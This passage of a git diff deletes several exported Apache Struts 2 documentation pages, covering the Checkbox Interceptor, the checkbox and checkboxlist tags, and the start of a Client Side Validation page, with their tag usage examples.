-        &lt;class&gt;example.data.MessageList&lt;/class&gt;
-        &lt;enabler&gt;example.data.MessageListAware&lt;/enabler&gt;
-    &lt;/component&gt;
-
-    &lt;component&gt; 
-        &lt;scope&gt;session&lt;/scope&gt;
-        &lt;class&gt;example.web.UserSession&lt;/class&gt;
-        &lt;enabler&gt;example.web.UserSessionAware&lt;/enabler&gt;
-    &lt;/component&gt;
-&lt;/components&gt;
-</pre>
-</div></div>
-
-<p>Two components, one to hold the application scoped chat messages, another to hold the user's session information (login account name, etc.) For all practical purposes, you can replace the application scoped component with a database. i.e. instead of reading/writing to the component, read/write to the database.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/checkbox-interceptor.html b/content/docs/checkbox-interceptor.html
deleted file mode 100644
index 54db064..0000000
--- a/content/docs/checkbox-interceptor.html
+++ /dev/null
@@ -1,162 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Checkbox Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="checkbox-interceptor.html">Checkbox Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Checkbox Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=23829">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=23829">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=23829">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><code>org.apache.struts2.interceptor.CheckboxInterceptor</code> is in the <code>defaultStack</code>. It checks each form parameter submitted to the action and if it finds one with a prefix of <code>_checkbox</code> it inserts a value for a parameter whose name is derived from the suffix to <code>_checkbox</code> if it does not exist. The default value inserted is <code>false</code> but this can be changed by setting the <code>uncheckedValue</cod [...]
-
-<p>This means that a checkbox can be accompanied by a hidden input with the same name but a prefix of <code>_checkbox</code> so that if the checkbox is not checked on the form the action will still receive a value rather than the default HTML action of not providing a value for unchecked checkboxes.</p>
-
-<h2 id="CheckboxInterceptor-Parameters">Parameters</h2>
-
-<p></p><ul><li>setUncheckedValue - The default value of an unchecked box can be overridden by setting the 'uncheckedValue' property.</li></ul>
-
-<h2 id="CheckboxInterceptor-ExtendingtheInterceptor">Extending the Interceptor</h2>
-
-<p>*</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/checkbox.html b/content/docs/checkbox.html
deleted file mode 100644
index 71145e2..0000000
--- a/content/docs/checkbox.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>checkbox</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="checkbox.html">checkbox</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">checkbox</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14029">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14029">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14029">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14029">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14029">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14029">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="checkbox-Description">Description</h2>
-
-<p>Renders an HTML input element of type checkbox, populated by the specified property from the ValueStack.</p>
-
-<h2 id="checkbox-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="checkbox-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-JSP:
-&lt;s:checkbox label=&quot;checkbox test&quot; name=&quot;checkboxField1&quot; value=&quot;aBoolean&quot; fieldValue=&quot;true&quot;/&gt;
-
-Velocity:
-#tag( Checkbox &quot;label=checkbox test&quot; &quot;name=checkboxField1&quot; &quot;value=aBoolean&quot; )
-
-Resulting HTML (simple template, aBoolean == true):
-&lt;input type=&quot;checkbox&quot; name=&quot;checkboxField1&quot; value=&quot;true&quot; checked=&quot;checked&quot; /&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/checkboxlist.html b/content/docs/checkboxlist.html
deleted file mode 100644
index b831115..0000000
--- a/content/docs/checkboxlist.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>checkboxlist</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="checkboxlist.html">checkboxlist</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">checkboxlist</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13969">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13969">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13969">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13969">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Important</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Note that the listkey and listvalue attribute will default to "key" and "value"
-respectively only when the list attribute is evaluated to a Map or its descendant.
-Everything else will result in listkey and listvalue to be null and not used.
-</p></div></div>
-
-<h2 id="checkboxlist-Description">Description</h2>
-
-
-<p>Creates a series of checkboxes from a list. Setup is like &lt;s:select /&gt; or &lt;s:radio /&gt;, but creates checkbox tags.</p>
-
-
-<h2 id="checkboxlist-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="checkboxlist-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;s:checkboxlist name=&quot;foo&quot; list=&quot;bar&quot;/&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/client-side-validation.html b/content/docs/client-side-validation.html
deleted file mode 100644
index 036c8de..0000000
--- a/content/docs/client-side-validation.html
+++ /dev/null
@@ -1,179 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Client Side Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="client-side-validation.html">Client Side Validation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Client Side Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14059">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14059">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14059">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14059">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14059">
